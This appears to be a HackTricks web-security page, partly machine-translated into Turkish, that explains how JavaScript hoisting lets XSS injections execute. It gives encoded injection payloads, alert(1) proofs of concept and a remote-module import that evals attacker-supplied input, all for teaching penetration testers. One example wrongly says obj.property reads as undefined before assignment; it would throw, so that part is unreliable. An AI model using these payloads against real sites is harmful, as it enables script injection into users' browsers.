JS Hoisting

AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

JavaScript dilinde, Hoisting olarak bilinen bir mekanizma, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin, kodun çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği şekilde tanımlanır. Bu işlem, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, betiği birden fazla geçişte tarar.

İlk geçiş sırasında, motor, sözdizimi hatalarını kontrol etmek ve betiği soyut sözdizim ağacına dönüştürmek için kodu ayrıştırır. Bu aşama, hoisting'i içeren bir süreç olan bildirimleri yürütme bağlamının en üstüne taşır. Ayrıştırma aşaması, sözdizimi hataları olmadığını gösteren başarılı bir şekilde tamamlandığında, betik yürütmesi devam eder.

Şunları anlamak önemlidir:

  1. Betik, yürütme için sözdizimi hatalarından arındırılmış olmalıdır. Sözdizimi kurallarına kesinlikle uyulmalıdır.

  2. Kodun betik içindeki yerleşimi, hoisting nedeniyle yürütme üzerinde etkili olur, ancak yürütülen kod, metinsel temsilinden farklı olabilir.

Hoisting Türleri

MDN'den alınan bilgilere göre, JavaScript'te dört farklı hoisting türü bulunmaktadır:

  1. Değer Hoisting: Bir değişkenin değerinin, bildirim satırından önceki kapsamında kullanılmasını sağlar.

  2. Bildirim Hoisting: Bir değişkenin bildiriminden önceki kapsamında başvurulmasına izin verir ve ReferenceError hatası oluşturmadan, değişkenin değeri undefined olur.

  3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimi nedeniyle kapsam içindeki davranışı değiştirir.

  4. Bildirimin yan etkileri, içeren kodun geri kalanının değerlendirilmeden önce gerçekleşir.

Ayrıntılı olarak, fonksiyon bildirimleri 1. tür hoisting davranışını sergiler. var anahtar kelimesi 2. tür davranışı gösterir. let, const ve class içeren leksikal bildirimler 3. tür davranışı gösterir. Son olarak, import ifadeleri, hem 1. tür hem de 4. tür davranışlarla hoisted olarak benzersizdir.

Senaryolar

Bu nedenle, tanımlanmamış bir nesnenin kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolarda, bunu bildirerek (böylece kodunuz hata fırlatmak yerine yürütülür):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Daha Fazla Senaryo

In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for XSS attacks. Let's take a look at them:

1. Function Declarations

When a function is declared using the function keyword, it is hoisted to the top of its scope. This means that even if the function is defined after it is called, it can still be executed without any errors. Attackers can take advantage of this behavior to execute malicious code.

<script>
    foo(); // This will execute the function even though it is defined later
    function foo() {
        alert('XSS');
    }
</script>

2. Variable Declarations

Similarly, variable declarations using the var keyword are also hoisted to the top of their scope. This allows attackers to use variables before they are actually declared.

<script>
    alert(x); // This will display 'undefined' as the variable is hoisted but not assigned a value yet
    var x = 'XSS';
</script>

3. Object Declarations

When an object is declared using the var keyword, the variable is hoisted but the object itself is not. However, the properties of the object can still be accessed before the object is declared.

<script>
    alert(obj.property); // This will display 'undefined' as the object is not hoisted
    var obj = {
        property: 'XSS'
    };
</script>

4. Function Expressions

Unlike function declarations, function expressions are not hoisted. Therefore, if a function expression is used before it is defined, an error will occur.

<script>
    foo(); // This will throw an error as the function expression is not hoisted
    var foo = function() {
        alert('XSS');
    };
</script>

By understanding these additional scenarios, you can further exploit JavaScript hoisting for XSS attacks. Remember to always validate and sanitize user input to prevent such vulnerabilities.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated